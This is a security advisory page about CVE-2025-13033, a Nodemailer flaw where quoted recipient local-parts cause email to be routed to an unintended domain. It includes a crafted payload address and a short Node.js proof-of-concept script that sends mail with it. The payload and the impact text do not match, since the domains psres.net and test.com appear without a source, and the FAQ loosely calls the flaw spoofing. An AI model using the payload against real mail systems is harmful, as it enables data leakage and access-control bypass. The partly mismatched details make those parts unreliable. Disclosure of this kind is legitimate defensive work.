CVE-2025-13033: Nodemailer: nodemailer: email to an unintended domain can occur due to interpretation conflict

Published Oct 7, 2025
·
Updated

A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.

Other sources

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n x"@internal.domain Using the following code to send mail const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({ service: "gmail", auth: { user: "", pass: "", }, });

let mailOptions = { from: '"Test Sender" <youremail>', to: "\"xclow3n x\"@internal.domain", subject: "Hello from Nodemailer", text: "This is a test email sent using Gmail SMTP and Nodemailer!", };

transporter.sendMail(mailOptions, (error, info) => { if (error) { return console.log("Error: ", error); } console.log("Message sent: %s", info.messageId);

});

(async () => { const parser = await import("@sparser/email-address-parser"); const { EmailAddress, ParsingOptions } = parser.default; const parsed = EmailAddress.parse(mailOptions.to /, new ParsingOptions(true) /);

if (!parsed) { console.error("Invalid email address:", mailOptions.to); return; }

console.log("Parsed email:", { address: ${parsed.localPart}@${parsed.domain}, local: parsed.localPart, domain: parsed.domain, }); })();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: { address: '"xclow3n x"@internal.domain', local: '"xclow3n x"', domain: 'internal.domain' }

But the email is sent to xclow3n

<img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" />

Impact:

- Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

- Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

- Potential compliance issue: Violates RFC 5321/5322 parsing rules.

- Domain based access control bypass in downstream applications using your library to send mails

Recommendations

- Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

- Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Red Hat

Affected Software

1 affected component
npm/nodemailer

Event History

Oct 7, 2025
Data Sourced
via Red Hat·03:03 PM
DescriptionSeverityAffected Software
Nov 14, 2025
CVE Published
via MITRE·07:37 PM
Data Sourced
via MITRE·07:37 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:15 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2025-13033?

CVE-2025-13033 is classified as a moderate severity vulnerability due to the potential for email spoofing.

2

How do I fix CVE-2025-13033?

To fix CVE-2025-13033, update to the latest version of the Nodemailer library where the vulnerability has been addressed.

3

What kind of attacks can exploit CVE-2025-13033?

CVE-2025-13033 can be exploited to execute email spoofing attacks by manipulating recipient email addresses.

4

Which software is affected by CVE-2025-13033?

CVE-2025-13033 specifically affects the Nodemailer library used for sending emails.

5

When was CVE-2025-13033 discovered?

CVE-2025-13033 was identified recently and has been publicly reported on as of 2025.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203